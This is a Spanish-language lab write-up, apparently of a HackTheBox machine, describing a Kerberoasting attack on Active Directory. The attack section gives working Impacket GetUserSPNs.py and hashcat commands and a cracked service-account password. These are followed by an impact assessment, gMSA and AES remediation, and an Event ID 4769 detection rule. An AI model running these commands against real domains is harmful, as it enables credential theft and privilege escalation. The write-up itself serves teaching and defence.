Aviso de Entorno y Alcance Ético: Este ejercicio documenta una prueba técnica realizada exclusivamente sobre una máquina retirada en un laboratorio de entrenamiento autorizado (HackTheBox). No se divulga información confidencial, datos de clientes ni sistemas de producción. El material tiene propósitos didácticos y de defensa.


1. Resumen Ejecutivo del Hallazgo

Durante la fase de auditoría interna de configuraciones en el Directorio Activo corporativo del laboratorio, se identificó que cualquier cuenta de dominio con privilegios mínimos puede solicitar tickets de concesión de servicio (Ticket Granting Service - TGS) para cuentas de usuario asociadas a nombres principales de servicio (Service Principal Names - SPN).

Dado que el controlador de dominio cifra el boleto TGS utilizando el hash NTLM de la cuenta de servicio destino, un atacante interno puede extraer el boleto a memoria y realizar un ataque de fuerza bruta offline (Kerberoasting) sin interactuar más con el controlador de dominio ni activar bloqueos por intentos fallidos de inicio de sesión.

La cuenta de servicio comprometida en este laboratorio (svc_sql_production) poseía membresía delegada en grupos locales de administradores en servidores que procesan transacciones financieras, generando un incumplimiento crítico sobre los controles de acceso lógico y segregación de funciones exigidos por marcos de control interno como SOX Sección 404 e ISO/IEC 27001:2022.


2. Metodología de Reconocimiento y Extracción

2.1. Enumeración de Cuentas con SPN Registrados

Habiendo obtenido credenciales de bajo privilegio en el dominio (CORP.LOCAL\jdoe), se procedió a consultar el catálogo global del Directorio Activo mediante consultas LDAP filtrando por el atributo servicePrincipalName.

Utilizando el script estándar de auditoría GetUserSPNs.py de la suite Impacket:

BASH
# Consulta de SPNs activos en el dominio corporativo
python3 GetUserSPNs.py CORP.LOCAL/jdoe:'Welcome2026!' -dc-ip 10.10.10.150 -request

Salida obtenida en consola:

TEXT
ServicePrincipalName         Name               MemberOf
--------------------------  -----------------  ---------------------------------------------
MSSQLSvc/db01.corp.local:1433 svc_sql_production CN=SQL Admins,OU=Service Accounts,DC=corp,DC=local

2.2. Solicitud y Extracción del TGS

El protocolo Kerberos no restringe qué usuarios autenticados pueden solicitar un TGS para un SPN publicado. Se solicitó el ticket TGS cifrado en formato Hashcat (Kerberos 5 TGS-REP etype 23):

BASH
# Extracción de hash TGS en formato para auditoría offline
python3 GetUserSPNs.py CORP.LOCAL/jdoe:'Welcome2026!' -dc-ip 10.10.10.150 -request -outputfile hashes_kerberoast.txt

Estructura del hash obtenido:

TEXT
$krb5tgs$23$*svc_sql_production$CORP.LOCAL$MSSQLSvc/db01.corp.local:1433*$45a8f9...[TRUNCATED]...9b12

3. Descifrado Offline y Evaluación de Fortaleza de Contraseñas

El ticket obtenido utiliza el algoritmo de cifrado rc4-hmac (etype 23), vulnerable a ataques acelerados por GPU. Se cargó el hash en una estación de auditoría utilizando hashcat con el modo de ataque 13100:

BASH
# Ataque offline de diccionario con reglas corporativas
hashcat -m 13100 -a 0 hashes_kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

En 4 minutos y 18 segundos, la clave en texto plano fue recuperada:

TEXT
$krb5tgs$23$*svc_sql_production...:DatabaseAdmin2024!

Análisis de Auditoría de Identidades: La contraseña incumple la directriz de complejidad para cuentas con privilegios elevados: contiene el año actual, longitud inferior a 20 caracteres y un patrón comúnmente predecible en firmas de TI sin rotación automatizada.


4. Impacto en Controles SOX y Gobierno de Accesos

Como auditor de seguridad, la captura de la clave es únicamente la mitad del trabajo. El impacto real debe medirse frente al marco de control interno de la organización:

  1. Riesgo de Control General de TI (ITGC - Logical Access):
    • La cuenta svc_sql_production tenía privilegios de administrador local en el clúster de base de datos financiero DB01. Un atacante puede alterar directamente tablas del libro mayor contable o desactivar registros de auditoría de transacciones, invalidando la integridad de los reportes financieros bajo alcance SOX.
    • Violación de Principio de Menor Privilegio (PoLP):
    • La cuenta de servicio no requería pertenecer al grupo SQL Admins ni poseer privilegios de inicio de sesión interactivo (Allow log on locally).
    • Ausencia de Cifrado Fuerte Kerberos:
    • El atributo msDS-SupportedEncryptionTypes del objeto de usuario no exigía AES128_CTS_HMAC_SHA1_96 ni AES256_CTS_HMAC_SHA1_96, permitiendo al atacante solicitar deliberadamente un ticket en RC4 susceptible a crackeo masivo.

5. Plan de Remediación y Controles ISO/IEC 27001:2022

Para presentar al comité de seguridad de la información y al equipo de infraestructura de TI, se establecen las siguientes tres líneas de defensa:

5.1. Remediación Definitiva: Implementación de gMSA (Group Managed Service Accounts)

  • Control ISO/IEC 27001:2022: A.8.5 (Autenticación Segura) y A.8.18 (Gestión de Derechos de Acceso Privilegiado).
  • Acción: Migrar todas las cuentas de servicio asociadas a SPNs hacia cuentas de servicio administradas por grupo (gMSA). El Directorio Activo gestiona automáticamente contraseñas de 128 caracteres que rotan cada 30 días, haciendo inviable computacionalmente el ataque offline.
  • Comando PowerShell para creación de gMSA:
POWERSHELL
  New-ADServiceAccount -Name "gmsa_sql_prod" `
    -DNSHostName "db01.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group" `
    -KerberosEncryptionType AES128,AES256
  

5.2. Control Compensatorio Inmediato: Cifrado Obligatorio AES-256

Si una aplicación legada no tolera gMSA de manera inmediata:

  1. Establecer una longitud mínima de 25 caracteres para la cuenta de servicio.
  2. Habilitar exclusivamente cifrado Kerberos AES-128 / AES-256 en la cuenta del usuario en AD:
POWERSHELL
   Set-ADUser -Identity "svc_sql_production" -KerberosEncryptionType AES128,AES256
   

5.3. Monitoreo y Detección de Telemetría (SIEM / SOC)

  • Control ISO/IEC 27001:2022: A.8.16 (Supervisión de Actividades).
  • Regla de Detección: Configurar una alerta en el SIEM ante eventos de auditoría de Windows con Event ID 4769 (A Kerberos service ticket was requested) cuando:
  • El campo Ticket Options sea 0x40810000.
  • El campo Ticket Encryption Type sea 0x17 (RC4-HMAC-MD5).
  • El volumen de solicitudes por un mismo usuario supere el umbral basal de 5 TGS en menos de 60 segundos.

6. Conclusión

Este ejercicio demuestra que la seguridad en Directorio Activo no depende únicamente del parcheado del sistema operativo, sino de la higiene de la gestión de identidades (GIAM) y la correcta configuración de cuentas de servicio. La remediación técnica mediante gMSA cierra la brecha de raíz, satisfaciendo al mismo tiempo los requerimientos de auditoría y cumplimiento regulatorio.